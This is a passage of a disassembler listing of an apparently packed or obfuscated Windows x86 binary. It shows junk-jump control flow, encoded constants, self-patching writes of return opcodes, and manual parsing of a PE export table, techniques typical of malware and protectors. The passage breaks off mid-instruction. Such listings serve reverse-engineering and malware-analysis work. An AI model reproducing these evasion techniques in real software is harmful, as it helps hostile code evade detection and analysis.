y22d6.y.:0043A0DBw ; sub_440395:loc_445740w ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_441870: ; CODE XREF: sub_44B17B-6E57j ; sub_44B17B:loc_44A8C3j xor edx, 8B970DD1h xor eax, edx loc_441878: ; CODE XREF: y22d6.y.:loc_44BFA1j push offset sub_44A688 jmp loc_443788 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448488 loc_441882: ; CODE XREF: sub_448488:loc_44463Dj push offset sub_44A0A7 jmp loc_438FB1 ; END OF FUNCTION CHUNK FOR sub_448488 ; --------------------------------------------------------------------------- loc_44188C: ; CODE XREF: y22d6.y.:0044DABCj mov eax, edx xchg eax, [esp] call sub_44A413 push 386E3325h pop eax and eax, 3F2BD639h jmp loc_44D625 ; --------------------------------------------------------------------------- loc_4418A7: ; CODE XREF: y22d6.y.:loc_4450F7j ; y22d6.y.:004491A9j jb loc_4456D0 ; =============== S U B R O U T I N E ======================================= sub_4418AD proc near ; CODE XREF: y22d6.y.:00441CC2p arg_0 = dword ptr 4 xchg edi, [esp+0] pop edi add eax, 0C781AE8Eh xchg eax, [esp-4+arg_0] jmp loc_43AA6E sub_4418AD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4418BF: ; CODE XREF: y22d6.y.:00449C53j jle loc_446FC6 ; =============== S U B R O U T I N E ======================================= sub_4418C5 proc near ; CODE XREF: sub_4432B8:loc_437EA8p ; FUNCTION CHUNK AT 00437389 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439B79 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043E9C7 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 004471B9 SIZE 0000000C BYTES xchg eax, [esp+0] pop eax push 85430E58h pop eax jmp loc_437389 sub_4418C5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- add esi, ebp jmp loc_44C48B ; --------------------------------------------------------------------------- pop ecx popf jmp sub_44C8E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C0C loc_4418E2: ; CODE XREF: sub_442C0C:loc_4374AEj xor eax, 7161A96Bh add eax, 1F653D2Bh rol eax, 8 loc_4418F1: ; CODE XREF: sub_441AE7-4170j xor eax, 213D4451h rol eax, 0Bh push offset loc_4453F2 jmp loc_43DA58 ; END OF FUNCTION CHUNK FOR sub_442C0C ; --------------------------------------------------------------------------- jo loc_445121 push ebx ; =============== S U B R O U T I N E ======================================= sub_44190B proc near ; CODE XREF: y22d6.y.:00438E16p ; FUNCTION CHUNK AT 00441A55 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00449302 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044E3B6 SIZE 00000008 BYTES xchg ebx, [esp+0] pop ebx push ebx jmp loc_441A55 sub_44190B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CDB7 loc_441915: ; CODE XREF: sub_44CDB7+1j mov ebp, esp push ecx mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jmp loc_44AADE ; END OF FUNCTION CHUNK FOR sub_44CDB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4385ED loc_441925: ; CODE XREF: sub_4385ED+1D6Dj jnz loc_44BA37 jmp loc_44DA43 ; END OF FUNCTION CHUNK FOR sub_4385ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B0EE loc_441930: ; CODE XREF: sub_43B0EE+3683j rol eax, 15h push eax retn ; END OF FUNCTION CHUNK FOR sub_43B0EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BEF7 loc_441935: ; CODE XREF: sub_43BEF7-1FA2j jmp loc_439247 ; END OF FUNCTION CHUNK FOR sub_43BEF7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44193A proc near ; CODE XREF: sub_440D6B:loc_4375C7j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437263 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00439232 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043ACF9 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043B291 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F11D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043F12F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00441325 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004421E7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00447F14 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044A8DB SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0044BCB8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C555 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044C8F8 SIZE 00000009 BYTES push ebp mov ebp, esp push edi jmp loc_43ACF9 sub_44193A endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_441944: ; CODE XREF: y22d6.y.:00440223j jmp loc_43E085 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437FD8 loc_441949: ; CODE XREF: sub_437FD8+B5Cj jmp loc_43E30E ; END OF FUNCTION CHUNK FOR sub_437FD8 ; --------------------------------------------------------------------------- dw 1A81h dword_441950 dd 0 ; DATA XREF: y22d6.y.:loc_444179w ; sub_444183:loc_444187r ... dword_441954 dd 77E79F93h ; DATA XREF: sub_4392B0+Ar ; sub_4392B0+5482w ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_441958: ; CODE XREF: sub_43D20E+C76Cj jmp loc_439D4F ; END OF FUNCTION CHUNK FOR sub_43D20E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C128 loc_44195D: ; CODE XREF: sub_43C128+A337j jmp sub_44C758 ; END OF FUNCTION CHUNK FOR sub_43C128 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_441962: ; CODE XREF: sub_444427-2DB4j jmp loc_43CF33 ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- db 0D7h dword_441968 dd 0 ; DATA XREF: sub_443EA2-C67Bw ; sub_443EA2-C52Dr ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43923C loc_44196C: ; CODE XREF: sub_43923C+8C45j jmp loc_43C798 ; END OF FUNCTION CHUNK FOR sub_43923C ; --------------------------------------------------------------------------- db 95h, 0B2h, 62h dword_441974 dd 77E805D8h ; DATA XREF: sub_43B01D:loc_43B026w ; sub_4436DB:loc_43B4F2r ... ; --------------------------------------------------------------------------- loc_441978: ; CODE XREF: y22d6.y.:00445F93j jmp loc_446DCE ; --------------------------------------------------------------------------- db 3Bh, 58h, 17h dword_441980 dd 3628EFCEh ; DATA XREF: sub_44193A-2817w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440A88 loc_441984: ; CODE XREF: sub_440A88+70ECj jmp nullsub_341 ; END OF FUNCTION CHUNK FOR sub_440A88 ; --------------------------------------------------------------------------- db 0B0h, 0D0h, 0DDh dword_44198C dd 38DCCBBFh ; DATA XREF: sub_4387EA+4r ; y22d6.y.:00447B0Bw dword_441990 dd 0D34EFCC2h ; DATA XREF: sub_448C77-6E6Cr ; sub_448EB6+169r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DF58 loc_441994: ; CODE XREF: sub_44DF58+16j jmp nullsub_264 ; END OF FUNCTION CHUNK FOR sub_44DF58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_441999: ; CODE XREF: sub_44AEDA-67DFj jmp loc_43DBFE ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- mov eax, 0DD1C4F2h push ecx push 0DD3D9961h pop ecx add ecx, 35D5B08Ah and ecx, 11D685Ch sub ecx, 31A2C87Fh jmp loc_448BE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4419C1: ; CODE XREF: sub_4432B8-BAEDj jz loc_43B224 jmp loc_4484C1 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_4419CC proc near ; CODE XREF: sub_439ACA+10j ; sub_43EF8Bp ... ; FUNCTION CHUNK AT 00439ADF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043FD2C SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00444200 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444F7D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044C8A3 SIZE 00000005 BYTES pop edx jnz loc_439ADF call sub_44469C loc_4419D8: ; CODE XREF: y22d6.y.:004463E8j sub esi, ebp loc_4419DA: ; CODE XREF: sub_4463CE:loc_4463DAj and eax, 39C89894h add eax, 0F6FB81EAh xchg eax, [esp+0] jmp loc_444200 sub_4419CC endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov eax, 524E554Eh call sub_43CA1A jmp loc_444FA4 ; --------------------------------------------------------------------------- locret_4419FD: ; CODE XREF: y22d6.y.:0044070Cj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4419FE: ; CODE XREF: sub_4432B8-3F8j jmp loc_444D67 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- jns loc_437CC9 jmp sub_44949C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44051D loc_441A0E: ; CODE XREF: sub_44051D:loc_44A2D7j mov byte ptr [eax], 0C3h jmp sub_439F2D ; END OF FUNCTION CHUNK FOR sub_44051D ; =============== S U B R O U T I N E ======================================= sub_441A16 proc near ; CODE XREF: sub_414C6F+10Fp ; sub_414C6F+126p ... call sub_441A2B jmp ds:off_41E12C sub_441A16 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_441A21: ; CODE XREF: sub_448EB6+BCj jmp sub_44C758 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_441A26: ; CODE XREF: y22d6.y.:00437F57j jmp loc_449C29 ; =============== S U B R O U T I N E ======================================= sub_441A2B proc near ; CODE XREF: sub_44A3E9-CF46j ; sub_44304E:loc_43EDF1j ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00437117 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437514 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437E31 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043D4A8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004410B7 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00444597 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00444D17 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0044B57F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D751 SIZE 00000011 BYTES jnz loc_43D4A8 pop edx mov eax, [esp+0] jmp loc_4410B7 sub_441A2B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_441A3A: ; CODE XREF: sub_4475B3+9j mov edx, ebx shl ebx, 15h jmp loc_44D834 ; END OF FUNCTION CHUNK FOR sub_4475B3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446425 loc_441A45: ; CODE XREF: sub_446425+11j jmp nullsub_88 ; END OF FUNCTION CHUNK FOR sub_446425 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E5C2 loc_441A4A: ; CODE XREF: sub_43E5C2-3B5Fj jmp loc_4445F7 ; END OF FUNCTION CHUNK FOR sub_43E5C2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_239. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_441A50: ; CODE XREF: sub_444427+A159j jmp sub_43887A ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44190B loc_441A55: ; CODE XREF: sub_44190B+5j mov ebx, edx xchg ebx, [esp+0] push 77EB5FF0h pop edx sub edx, 6B4C4649h add edx, 0F3A4A760h jmp loc_449302 ; END OF FUNCTION CHUNK FOR sub_44190B ; --------------------------------------------------------------------------- loc_441A71: ; DATA XREF: y22d6.y.:00438610o call sub_444581 mov ds:off_41E1FC, eax lea eax, loc_43B157 mov byte ptr [eax], 0C3h jmp loc_449A38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4428C2 loc_441A8A: ; CODE XREF: sub_4428C2:loc_43B157j call sub_43AD64 loc_441A8F: ; CODE XREF: sub_446236+6075j jmp loc_437E91 ; END OF FUNCTION CHUNK FOR sub_4428C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_441A94: ; CODE XREF: sub_43B7B5+532Fj jmp loc_4462A7 ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC1C loc_441A99: ; CODE XREF: sub_43EC1C+11j jmp loc_44815C ; END OF FUNCTION CHUNK FOR sub_43EC1C ; --------------------------------------------------------------------------- loc_441A9E: ; CODE XREF: y22d6.y.:0043B3C6j jge loc_44B92B xchg ebx, ecx cmp edx, esi jmp loc_449755 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_369. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push edx jmp sub_442E1F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_441AB4: ; CODE XREF: sub_448EB6:loc_43D006j ; sub_448EB6-3241j push 5396FB70h pop eax and eax, 3DE6007Bh test eax, 2000h jmp loc_4389D8 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_441ACB: ; DATA XREF: sub_438880:loc_445D09o add eax, edx loc_441ACD: ; CODE XREF: y22d6.y.:loc_43AF1Cj pop edx ror eax, 2 add eax, 6AFEFF9h push offset loc_44C6E0 jmp loc_43880D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_159. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CB3F loc_441AE2: ; CODE XREF: sub_44CB3F+15j jmp loc_43A9F1 ; END OF FUNCTION CHUNK FOR sub_44CB3F ; =============== S U B R O U T I N E ======================================= sub_441AE7 proc near ; CODE XREF: y22d6.y.:0043A4C5j ; y22d6.y.:0044CC20p ; FUNCTION CHUNK AT 0043D973 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 004480D9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D8AB SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0044DE99 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi rol eax, 1Fh xor eax, 7161A96Bh push ecx push 0AF2FD8F8h pop ecx jmp loc_4480D9 sub_441AE7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_441B00: ; CODE XREF: sub_444581:loc_44CDD2j jz loc_441046 jmp loc_44B55E ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- push esi jmp loc_44999D ; --------------------------------------------------------------------------- loc_441B11: ; CODE XREF: y22d6.y.:0043765Cj mov ebp, 0CC5C65FEh jz loc_43A014 or edi, ecx loc_441B1E: ; CODE XREF: y22d6.y.:loc_437647j rol esi, 4 test esi, 40000h jmp loc_44E25D ; --------------------------------------------------------------------------- loc_441B2C: ; CODE XREF: y22d6.y.:0044DD4Ej sbb edi, esi ; =============== S U B R O U T I N E ======================================= sub_441B2E proc near ; CODE XREF: y22d6.y.:00437671p arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi mov eax, [esp-4+arg_0] push offset sub_440BAA jmp nullsub_314 sub_441B2E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4425E0 loc_441B3F: ; CODE XREF: sub_4425E0:loc_43A4D0j xchg edx, [esp+0] jmp loc_43D0CB ; END OF FUNCTION CHUNK FOR sub_4425E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_441B47: ; CODE XREF: sub_44633F:loc_43792Fj add eax, 6AE69D27h xor eax, 0F63EA80Bh push edx push 1EF8411Fh jmp loc_438C4D ; END OF FUNCTION CHUNK FOR sub_44633F ; =============== S U B R O U T I N E ======================================= sub_441B5E proc near ; CODE XREF: y22d6.y.:004461CBj ; sub_44B17B:loc_4470F1p arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx add ebx, 0E642771Bh xchg ebx, [esp-4+arg_0] jmp sub_438E86 sub_441B5E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F224 loc_441B70: ; CODE XREF: sub_43F224+23F0j xor eax, 0E244E57h add eax, 0E3F64437h xchg eax, [esp+0] jmp nullsub_343 ; END OF FUNCTION CHUNK FOR sub_43F224 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_441B85: ; CODE XREF: sub_44AEDA-7834j jmp loc_437A44 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EA64 loc_441B8A: ; CODE XREF: sub_43EA64+Fj jmp nullsub_313 ; END OF FUNCTION CHUNK FOR sub_43EA64 ; --------------------------------------------------------------------------- push edx push 32DC9194h pop edx rol edx, 2 sub edx, 3380C99Dh js loc_443E63 ; START OF FUNCTION CHUNK FOR sub_441030 loc_441BA5: ; CODE XREF: sub_441030+6FBBj jmp sub_443169 ; END OF FUNCTION CHUNK FOR sub_441030 ; --------------------------------------------------------------------------- loc_441BAA: ; CODE XREF: y22d6.y.:0043D41Cj jmp loc_43BFF1 ; --------------------------------------------------------------------------- not esi jmp loc_439121 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_441BB6: ; CODE XREF: sub_43B7D4+1754j ; sub_43B7D4:loc_441F44j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_44B25F jmp loc_43C063 ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B674 loc_441BC7: ; CODE XREF: sub_44B674:loc_437BB8j jz loc_439B48 jmp loc_43BD7D ; END OF FUNCTION CHUNK FOR sub_44B674 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_189. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_441BD3: ; CODE XREF: y22d6.y.:004498AFj jmp sub_44D088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_441BD8: ; CODE XREF: sub_44271A+54B5j jz loc_445A67 jmp loc_43D76A ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_441BE3: ; CODE XREF: sub_444581:loc_43FDA5j jz loc_439A4D loc_441BE9: ; CODE XREF: y22d6.y.:0044CF43j jmp loc_44C4A8 ; END OF FUNCTION CHUNK FOR sub_444581 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441F08 loc_441BEE: ; CODE XREF: sub_441F08+170Bj jmp loc_4472F5 ; END OF FUNCTION CHUNK FOR sub_441F08 ; --------------------------------------------------------------------------- jnb loc_440581 jmp loc_437E03 ; --------------------------------------------------------------------------- loc_441BFE: ; CODE XREF: y22d6.y.:00442581j jz loc_444EEF ; =============== S U B R O U T I N E ======================================= sub_441C04 proc near ; CODE XREF: sub_43D20E:loc_43AB8Bp ; FUNCTION CHUNK AT 00437A7D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004386DD SIZE 0000000A BYTES xchg esi, [esp+0] pop esi cmp dword ptr [ebp-8], 0A22F8A70h jmp loc_437A7D sub_441C04 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_441C14: ; CODE XREF: sub_440280+CD3Fj mov byte ptr [eax], 0C3h jmp loc_43912E ; END OF FUNCTION CHUNK FOR sub_440280 ; =============== S U B R O U T I N E ======================================= sub_441C1C proc near ; CODE XREF: sub_416BBA:loc_416CF3p ; y22d6.y.:004424F7j ; DATA XREF: ... var_8 = dword ptr -8 ; FUNCTION CHUNK AT 004379C6 SIZE 00000015 BYTES push edx push 0AC5FF6CAh xchg ebx, [esp+8+var_8] mov edx, ebx jmp loc_4379C6 sub_441C1C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC1C loc_441C2C: ; CODE XREF: sub_43EC1C+1C2Fj cdq jo loc_43D60A ror edx, 0Fh jmp loc_43EF03 ; --------------------------------------------------------------------------- loc_441C3B: ; CODE XREF: sub_43EC1C+4j sub al, 99h push 0D845E39Bh sbb edx, 253976FEh jmp loc_4496F7 ; END OF FUNCTION CHUNK FOR sub_43EC1C ; --------------------------------------------------------------------------- loc_441C4D: ; CODE XREF: y22d6.y.:0043A7AEj pop edx pop ecx mov eax, [esp] push edx call sub_4463CE mov eax, 9DD7AB44h push ecx jmp loc_44402C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A595 loc_441C64: ; CODE XREF: sub_44A595+11j jmp nullsub_153 ; END OF FUNCTION CHUNK FOR sub_44A595 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441C69 proc near ; CODE XREF: y22d6.y.:0043A8E0p ; sub_4441D9-5145j ; FUNCTION CHUNK AT 004373E9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00437A16 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043DB4F SIZE 00000017 BYTES push ebp mov ebp, esp push esi jmp loc_43DB4F sub_441C69 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_441C72: ; CODE XREF: y22d6.y.:loc_444647j jz loc_437B58 jmp loc_448C9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44999F loc_441C7D: ; CODE XREF: sub_44999F:loc_43DD19j jge loc_43F180 ; END OF FUNCTION CHUNK FOR sub_44999F ; START OF FUNCTION CHUNK FOR sub_43FEC6 loc_441C83: ; CODE XREF: sub_43FEC6-5E30j jmp loc_44746B ; END OF FUNCTION CHUNK FOR sub_43FEC6 ; --------------------------------------------------------------------------- loc_441C88: ; CODE XREF: y22d6.y.:004394EEj jmp locret_43C671 ; --------------------------------------------------------------------------- cdq jmp loc_43F178 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DB4F loc_441C93: ; CODE XREF: sub_44DB4F+1Dj jge loc_449B17 loc_441C99: ; CODE XREF: y22d6.y.:004460AFj jmp loc_43A937 ; END OF FUNCTION CHUNK FOR sub_44DB4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C0C loc_441C9E: ; CODE XREF: sub_442C0C-7998j jmp loc_444989 ; END OF FUNCTION CHUNK FOR sub_442C0C ; --------------------------------------------------------------------------- loc_441CA3: ; CODE XREF: y22d6.y.:0043ADEBj jmp sub_44D088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_441CA8: ; CODE XREF: sub_43B252-398Bj jmp loc_43C5C3 ; END OF FUNCTION CHUNK FOR sub_43B252 ; --------------------------------------------------------------------------- cdq jmp loc_449B11 ; --------------------------------------------------------------------------- jns loc_441063 jmp loc_44B010 ; --------------------------------------------------------------------------- loc_441CBE: ; CODE XREF: y22d6.y.:0044E61Fj pop eax rol eax, 7 call sub_4418AD loc_441CC7: ; CODE XREF: y22d6.y.:004374DCj jmp loc_44B252 ; --------------------------------------------------------------------------- cmp ebp, ebx jmp loc_447BE4 ; --------------------------------------------------------------------------- loc_441CD3: ; CODE XREF: y22d6.y.:0043916Aj pushf cdq jns loc_439BAD loc_441CDB: ; CODE XREF: y22d6.y.:loc_43F0A0j call nullsub_4 jmp loc_44CBF3 ; --------------------------------------------------------------------------- mov ds:dword_41E19C, eax lea eax, nullsub_370 mov byte ptr [eax], 0C3h jmp nullsub_370 ; =============== S U B R O U T I N E ======================================= sub_441CF9 proc near ; CODE XREF: sub_40CA0C+D9p ; sub_40E68F+F5p ... push offset loc_44B0AB jmp nullsub_45 sub_441CF9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439407 loc_441D03: ; CODE XREF: sub_439407+767Cj ja loc_43705A adc ebp, ebx push esi jmp loc_44763D ; END OF FUNCTION CHUNK FOR sub_439407 ; --------------------------------------------------------------------------- push ebp mov ebp, esi xchg ebp, [esp] push 0E0B8FB9Fh jmp loc_43A139 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_441D22: ; CODE XREF: y22d6.y.:00445C27j jmp loc_4382DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416F3 loc_441D27: ; CODE XREF: sub_4416F3-6DA5j jmp loc_4438EC ; END OF FUNCTION CHUNK FOR sub_4416F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CDB7 loc_441D2C: ; CODE XREF: sub_44CDB7:loc_43CD48j xor edx, 3574972h test edx, 10000h jmp loc_44386E ; END OF FUNCTION CHUNK FOR sub_44CDB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446236 loc_441D3D: ; CODE XREF: sub_446236:loc_44D0F3j mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_441DD7 mov ecx, [ebx+ecx+0Ch] or ecx, ecx jmp loc_438A09 ; END OF FUNCTION CHUNK FOR sub_446236 ; --------------------------------------------------------------------------- loc_441D57: ; CODE XREF: y22d6.y.:004456BBj adc ebp, 5BF2526Ch ; =============== S U B R O U T I N E ======================================= sub_441D5D proc near ; CODE XREF: y22d6.y.:0044B570p xchg ecx, [esp+0] pop ecx call sub_4480DE retn sub_441D5D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446F34 loc_441D67: ; CODE XREF: sub_446F34+3CD6j jmp loc_441710 ; END OF FUNCTION CHUNK FOR sub_446F34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439407 loc_441D6C: ; CODE XREF: sub_439407+11j jmp loc_449937 ; END OF FUNCTION CHUNK FOR sub_439407 ; --------------------------------------------------------------------------- push ebp jmp loc_43964D ; --------------------------------------------------------------------------- mov ecx, eax jmp sub_44BBBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_441D7E: ; CODE XREF: sub_44BCC2-8D8Dj push 2010h call sub_43A735 loc_441D88: ; CODE XREF: y22d6.y.:00449259j jmp loc_449269 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_249. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C1E2 loc_441D8E: ; CODE XREF: sub_44C1E2:loc_439C6Dj mov [ebp-4], eax mov edx, [ebp-8] mov eax, [ebp-4] call sub_438953 mov edx, [ebp-8] mov eax, [ebp-4] jmp loc_43A868 ; END OF FUNCTION CHUNK FOR sub_44C1E2 ; =============== S U B R O U T I N E ======================================= sub_441DA7 proc near ; CODE XREF: sub_439E63+11DFEp ; y22d6.y.:0044D38Aj ; FUNCTION CHUNK AT 0043A5A5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B234 SIZE 0000001E BYTES xchg esi, [esp+0] pop esi push edx call sub_44A46F adc eax, 9B1A4C59h jmp loc_43B234 sub_441DA7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D6D0 loc_441DBC: ; CODE XREF: sub_44D6D0:loc_43D0C6j jnz loc_438C16 jmp loc_449CB4 ; END OF FUNCTION CHUNK FOR sub_44D6D0 ; =============== S U B R O U T I N E ======================================= sub_441DC7 proc near ; CODE XREF: sub_4428C2:loc_437E91p ; y22d6.y.:004483E9j ; FUNCTION CHUNK AT 0043BA5F SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0043DECE SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044310A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00446175 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044884F SIZE 00000005 BYTES xchg esi, [esp+0] pop esi cmp edx, 7C61090Eh jz loc_43DED0 loc_441DD7: ; CODE XREF: sub_446236:loc_438A09j ; sub_446236-44F0j ... jns loc_43BA77 jmp loc_43BA5F sub_441DC7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_441DE2: ; CODE XREF: y22d6.y.:0044D5FAj jg loc_4410B8 loc_441DE8: ; CODE XREF: y22d6.y.:loc_43BEB0j or ecx, 0AE493C88h add ecx, 